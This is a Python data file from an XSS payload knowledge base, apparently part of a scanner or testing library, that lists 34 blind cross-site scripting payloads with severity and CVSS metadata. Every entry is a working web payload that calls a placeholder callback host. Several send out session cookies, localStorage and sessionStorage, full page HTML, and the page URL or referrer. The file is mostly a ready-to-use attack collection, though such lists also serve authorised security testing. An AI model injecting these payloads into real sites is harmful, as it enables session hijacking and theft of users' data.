#!/usr/bin/env python3
"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-27 UTC
Status: Refactored
Telegram: https://t.me/EasyProTech

Blind Payloads - Part 1
"""

from typing import Dict

from ..models import PayloadEntry


BLIND_XSS_CORE_PAYLOADS_PART1: Dict[str, PayloadEntry] = {
    "blind_xss_001": PayloadEntry(
        payload='<img src="{{CALLBACK_URL}}?xss=1">',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_002": PayloadEntry(
        payload="<img src=x onerror=\"fetch('{{CALLBACK_URL}}?xss=img_onerror')\">",
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_003": PayloadEntry(
        payload="<img src=x onerror=\"new Image().src='{{CALLBACK_URL}}?xss=img_onerror'\">",
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_004": PayloadEntry(
        payload="<img src=x onerror=\"document.createElement('img').src='{{CALLBACK_URL}}?xss=img_onerror'\">",
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_005": PayloadEntry(
        payload='<script>fetch("{{CALLBACK_URL}}?xss=script")</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_006": PayloadEntry(
        payload='<script>new Image().src="{{CALLBACK_URL}}?xss=script"</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_007": PayloadEntry(
        payload='<script>navigator.sendBeacon("{{CALLBACK_URL}}?xss=script")</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_008": PayloadEntry(
        payload='<script>document.createElement("img").src="{{CALLBACK_URL}}?xss=script"</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_009": PayloadEntry(
        payload='<script>var xhr=new XMLHttpRequest();xhr.open("GET","{{CALLBACK_URL}}?xss=xhr");xhr.send()</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_010": PayloadEntry(
        payload='<script>var xhr=new XMLHttpRequest();xhr.open("POST","{{CALLBACK_URL}}");xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");xhr.send("xss=xhr_post")</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_011": PayloadEntry(
        payload='<script>fetch("{{CALLBACK_URL}}?xss=fetch")</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_012": PayloadEntry(
        payload='<script>fetch("{{CALLBACK_URL}}",{method:"POST",body:"xss=fetch_post"})</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_013": PayloadEntry(
        payload='<script>fetch("{{CALLBACK_URL}}",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({xss:"fetch_json"})}).catch(()=>{})</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_014": PayloadEntry(
        payload='<script>var ws=new WebSocket("ws://{{CALLBACK_URL}}");ws.onopen=function(){ws.send("xss=websocket")}</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_015": PayloadEntry(
        payload='<form action="{{CALLBACK_URL}}" method="post"><input name="xss" value="form_submit"><input type="submit" style="display:none"></form><script>document.forms[0].submit()</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_016": PayloadEntry(
        payload='<link rel="prefetch" href="{{CALLBACK_URL}}?xss=prefetch">',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_017": PayloadEntry(
        payload='<link rel="dns-prefetch" href="{{CALLBACK_URL}}">',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_018": PayloadEntry(
        payload='<link rel="preconnect" href="{{CALLBACK_URL}}">',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_019": PayloadEntry(
        payload='<style>body{background:url("{{CALLBACK_URL}}?xss=css")}</style>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_020": PayloadEntry(
        payload='<style>@import url("{{CALLBACK_URL}}?xss=css_import")</style>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_021": PayloadEntry(
        payload='<script>fetch("{{CALLBACK_URL}}?cookies="+encodeURIComponent(document.cookie))</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_022": PayloadEntry(
        payload='<script>new Image().src="{{CALLBACK_URL}}?cookies="+btoa(document.cookie)</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_023": PayloadEntry(
        payload='<script>navigator.sendBeacon("{{CALLBACK_URL}}",JSON.stringify({cookies:document.cookie}))</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_024": PayloadEntry(
        payload='<script>fetch("{{CALLBACK_URL}}?localStorage="+encodeURIComponent(JSON.stringify(localStorage)))</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_025": PayloadEntry(
        payload='<script>new Image().src="{{CALLBACK_URL}}?localStorage="+btoa(JSON.stringify(localStorage))</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_026": PayloadEntry(
        payload='<script>fetch("{{CALLBACK_URL}}?sessionStorage="+encodeURIComponent(JSON.stringify(sessionStorage)))</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_027": PayloadEntry(
        payload='<script>new Image().src="{{CALLBACK_URL}}?sessionStorage="+btoa(JSON.stringify(sessionStorage))</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_028": PayloadEntry(
        payload='<script>fetch("{{CALLBACK_URL}}?html="+encodeURIComponent(document.documentElement.outerHTML))</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_029": PayloadEntry(
        payload='<script>fetch("{{CALLBACK_URL}}?body="+encodeURIComponent(document.body.innerHTML))</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_030": PayloadEntry(
        payload='<script>fetch("{{CALLBACK_URL}}?title="+encodeURIComponent(document.title))</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_031": PayloadEntry(
        payload='<script>fetch("{{CALLBACK_URL}}?userAgent="+encodeURIComponent(navigator.userAgent))</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_032": PayloadEntry(
        payload='<script>fetch("{{CALLBACK_URL}}?url="+encodeURIComponent(location.href))</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_033": PayloadEntry(
        payload='<script>fetch("{{CALLBACK_URL}}?referrer="+encodeURIComponent(document.referrer))</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_034": PayloadEntry(
        payload='<script>fetch("{{CALLBACK_URL}}?domain="+encodeURIComponent(document.domain))</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
}
